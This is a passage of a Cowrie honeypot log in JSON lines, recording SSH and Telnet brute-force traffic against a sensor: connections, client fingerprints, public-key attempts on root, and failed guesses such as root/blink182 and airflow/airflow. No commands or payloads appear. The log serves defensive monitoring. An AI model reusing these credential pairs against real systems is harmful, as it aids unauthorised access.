ha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:46.983537Z","src_ip":"45.153.34.97","session":"70ce3e8c104c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hong123","message":"login attempt [root/hong123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:47.780561Z","src_ip":"159.65.8.74","session":"01007a534074","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blink182","message":"login attempt [root/blink182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:47.805522Z","src_ip":"103.27.238.114","session":"03aec0ed4348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"123456","message":"login attempt [cacti/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:48.029821Z","src_ip":"45.153.34.97","session":"70ce3e8c104c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:49.022000Z","src_ip":"159.65.8.74","session":"01007a534074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:49.087634Z","src_ip":"103.27.238.114","session":"03aec0ed4348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:49.114814Z","src_ip":"45.153.34.97","session":"70ce3e8c104c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44282,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8b5609399c9","protocol":"telnet","message":"New connection: 152.42.224.71:44282 (10.17.0.5:23) [session: e8b5609399c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:49.550704Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":25976,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f892b5505e2","protocol":"ssh","message":"New connection: 45.153.34.97:25976 (10.17.0.5:22) [session: 4f892b5505e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.293883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.332574Z","src_ip":"45.153.34.97","session":"4f892b5505e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.405548Z","src_ip":"45.153.34.97","session":"4f892b5505e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.122.15","src_port":34726,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a632addc3ca","protocol":"ssh","message":"New connection: 107.173.122.15:34726 (10.17.0.5:22) [session: 8a632addc3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.448639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.453433Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.501493Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44294,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa27a3b31bfb","protocol":"telnet","message":"New connection: 152.42.224.71:44294 (10.17.0.5:23) [session: fa27a3b31bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.577533Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:4b:a0:1f:a2:be:3b:39:55:eb:ea:ee:be:9e:f9:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6QlPdTSY8cog/6vUvF+wtV0W3oLkkZT2zBZCkvxcmflYr0G1StAbX112+GUkII0UjmCqjx6MPgH8pceJD7Svy8PRvfbl+wa48edIhw8aikoiiIuYXH8Somjlza38pjbeS3DKZcxsG5cYmOlWb9PfevTLFtkwufrD5+o1Ra6U2aTmHvnOtm+fwwXDxhhsQjk5yRDVtqGZVIIydFZjLAPJga9DDz1PtGQM2MFuoIMBlxaTeVMQA5FN/G6BxEm5s3novvo9o3wSHTQLgVct/tdqx1/JpsnxNYexvEwo1JnO+R2RC/RWyTPx2M+DhGgTpMmLP8rpSmhrUcjnlS7UIYN7J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:4b:a0:1f:a2:be:3b:39:55:eb:ea:ee:be:9e:f9:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.706645Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:4b:a0:1f:a2:be:3b:39:55:eb:ea:ee:be:9e:f9:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6QlPdTSY8cog/6vUvF+wtV0W3oLkkZT2zBZCkvxcmflYr0G1StAbX112+GUkII0UjmCqjx6MPgH8pceJD7Svy8PRvfbl+wa48edIhw8aikoiiIuYXH8Somjlza38pjbeS3DKZcxsG5cYmOlWb9PfevTLFtkwufrD5+o1Ra6U2aTmHvnOtm+fwwXDxhhsQjk5yRDVtqGZVIIydFZjLAPJga9DDz1PtGQM2MFuoIMBlxaTeVMQA5FN/G6BxEm5s3novvo9o3wSHTQLgVct/tdqx1/JpsnxNYexvEwo1JnO+R2RC/RWyTPx2M+DhGgTpMmLP8rpSmhrUcjnlS7UIYN7J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.710155Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:00:10:08:a9:98:8d:c2:a5:1f:f9:fa:40:77:b5:2b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGEpYGiEA92mRA3ZVyOn3hHWav5Qo29vV1iqVaw5LeVl","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b2:00:10:08:a9:98:8d:c2:a5:1f:f9:fa:40:77:b5:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.763837Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:00:10:08:a9:98:8d:c2:a5:1f:f9:fa:40:77:b5:2b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGEpYGiEA92mRA3ZVyOn3hHWav5Qo29vV1iqVaw5LeVl","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.821842Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:15:b4:67:08:38:5d:de:55:02:2c:22:9a:db:e0:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxBRygcKOSAE93SwC59wTx2ook4k8xHqt1iRLPph/3APRRvl6JNjIH7FkCqRlbMqKUa7yqmA7tUsxeUU8FgAe4w1twG262rCaU4sQ0z2hm2vwwN7DSg/dMlNfAeTyLmsCFs5rfPsuj7jRs6Kxgp+ywnmv0bEnMMHQdgfZhmt9Sh0e3PdnR/UKbwh4yFkwDLkKkg3NrohDOvJ4aBdkj3Jxv57wNgt4R4H+iwW0mpHs3LBP2+B31A/Pgws7Ljbj6nm/wGb3jKBdQ62T1F8mq89o54pJmtc/xY0NRY9kl43FxsxPGrEM/WO2p4lC9eaWqDT7GCg5lLihRe0ryfKuq+bxj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:15:b4:67:08:38:5d:de:55:02:2c:22:9a:db:e0:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.866893Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:15:b4:67:08:38:5d:de:55:02:2c:22:9a:db:e0:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxBRygcKOSAE93SwC59wTx2ook4k8xHqt1iRLPph/3APRRvl6JNjIH7FkCqRlbMqKUa7yqmA7tUsxeUU8FgAe4w1twG262rCaU4sQ0z2hm2vwwN7DSg/dMlNfAeTyLmsCFs5rfPsuj7jRs6Kxgp+ywnmv0bEnMMHQdgfZhmt9Sh0e3PdnR/UKbwh4yFkwDLkKkg3NrohDOvJ4aBdkj3Jxv57wNgt4R4H+iwW0mpHs3LBP2+B31A/Pgws7Ljbj6nm/wGb3jKBdQ62T1F8mq89o54pJmtc/xY0NRY9kl43FxsxPGrEM/WO2p4lC9eaWqDT7GCg5lLihRe0ryfKuq+bxj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.871199Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:5f:43:0f:d5:28:b1:dd:99:e3:6e:ec:35:56:4d:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHGLf5ORTKBFi6OhuX0N6XQTY9R+ul2WzEB27MTiUwf6DAWaq0smZq2tBirKwXBpA0F9WTwa6AbvfYTvmMWaWTALOakUBKZ+mX0XWD2sQoRuVywMrKbgLa+NG35T41pEhFguKcFOMAyZvF2UGoeCKA/vZZ3Z/rQhIF5w/SoFHXb6MKUtZzUxT3fKFq3bln0djxeMutLovE3DTEYl2piV3DzMitqgflniIpQ+mq7yyzA467pvSYm/RYWUIze+AmLu9XO3LrGvZBACNCQrhV/Ht/jkXaFtzguu8vkr1m/1PiVdW5ZLocqEPmnIdsuJaGsaCuN1DkO8Hy2YOP/5SvqmM1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:5f:43:0f:d5:28:b1:dd:99:e3:6e:ec:35:56:4d:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.917669Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:5f:43:0f:d5:28:b1:dd:99:e3:6e:ec:35:56:4d:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHGLf5ORTKBFi6OhuX0N6XQTY9R+ul2WzEB27MTiUwf6DAWaq0smZq2tBirKwXBpA0F9WTwa6AbvfYTvmMWaWTALOakUBKZ+mX0XWD2sQoRuVywMrKbgLa+NG35T41pEhFguKcFOMAyZvF2UGoeCKA/vZZ3Z/rQhIF5w/SoFHXb6MKUtZzUxT3fKFq3bln0djxeMutLovE3DTEYl2piV3DzMitqgflniIpQ+mq7yyzA467pvSYm/RYWUIze+AmLu9XO3LrGvZBACNCQrhV/Ht/jkXaFtzguu8vkr1m/1PiVdW5ZLocqEPmnIdsuJaGsaCuN1DkO8Hy2YOP/5SvqmM1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.921712Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:96:5d:39:19:2e:89:19:67:7c:7f:79:40:3d:ee:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhPWbqj+jZDUO56yJRvGEdzn9pF+xg2MUTXna2+Z37uq/5P1mvt3xCqLCsqmlvBTAThbgx4Mpde77BYEQxFsfTOHkIYNa7yOxSOTuEnBwWE0tQs0xEcFgqk/+ILv5L86OLPu5KWlzbChf+LaaVrmBPRmMo4nno9GBfEmjkVNJbemR5TWZc1+826CkLWc3ZcKy1o6hJXnIsZEbBwEUuL39PUchtIx6unhCzDVwJXJIimhRcgVxM/LqQDo673k/QMt9Hs2e066igBM+70TvR0nGKBaRFkGG52wFQkY9Wn2WKsIR4Kz+RbfS4E1SZIkfgPgn+mgmB/iu6W2SMtMFnGgqd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:96:5d:39:19:2e:89:19:67:7c:7f:79:40:3d:ee:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.967102Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:96:5d:39:19:2e:89:19:67:7c:7f:79:40:3d:ee:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhPWbqj+jZDUO56yJRvGEdzn9pF+xg2MUTXna2+Z37uq/5P1mvt3xCqLCsqmlvBTAThbgx4Mpde77BYEQxFsfTOHkIYNa7yOxSOTuEnBwWE0tQs0xEcFgqk/+ILv5L86OLPu5KWlzbChf+LaaVrmBPRmMo4nno9GBfEmjkVNJbemR5TWZc1+826CkLWc3ZcKy1o6hJXnIsZEbBwEUuL39PUchtIx6unhCzDVwJXJIimhRcgVxM/LqQDo673k/QMt9Hs2e066igBM+70TvR0nGKBaRFkGG52wFQkY9Wn2WKsIR4Kz+RbfS4E1SZIkfgPgn+mgmB/iu6W2SMtMFnGgqd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:51.971587Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:52.033971Z","src_ip":"107.173.122.15","session":"8a632addc3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dell","password":"1","message":"login attempt [dell/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:52.086625Z","src_ip":"45.153.34.97","session":"4f892b5505e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:53.189358Z","src_ip":"45.153.34.97","session":"4f892b5505e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":52822,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe7fc92a7037","protocol":"ssh","message":"New connection: 43.153.36.83:52822 (10.17.0.5:22) [session: fe7fc92a7037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:53.705839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:53.710634Z","src_ip":"43.153.36.83","session":"fe7fc92a7037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:53.779174Z","src_ip":"43.153.36.83","session":"fe7fc92a7037","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zywang","message":"login attempt [root/zywang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:54.085387Z","src_ip":"43.153.36.83","session":"fe7fc92a7037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.57367181777954,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:55.000765Z","src_ip":"152.42.224.71","session":"cc217cd21b4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:55.156478Z","src_ip":"43.153.36.83","session":"fe7fc92a7037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44298,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cbfd683cfed","protocol":"telnet","message":"New connection: 152.42.224.71:44298 (10.17.0.5:23) [session: 8cbfd683cfed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:55.196816Z"}
{"eventid":"cowrie.session.closed","duration":30.396453142166138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:55.287258Z","src_ip":"152.42.224.71","session":"edf15cb98413","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":25988,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb97b0e602aa","protocol":"ssh","message":"New connection: 45.153.34.97:25988 (10.17.0.5:22) [session: cb97b0e602aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:55.504402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:55.508753Z","src_ip":"45.153.34.97","session":"cb97b0e602aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:55.594535Z","src_ip":"45.153.34.97","session":"cb97b0e602aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:56.377687Z","src_ip":"45.153.34.97","session":"cb97b0e602aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:57.485351Z","src_ip":"45.153.34.97","session":"cb97b0e602aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.81028699874878,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:57.644847Z","src_ip":"152.42.224.71","session":"73000609eb33","protocol":"telnet"}
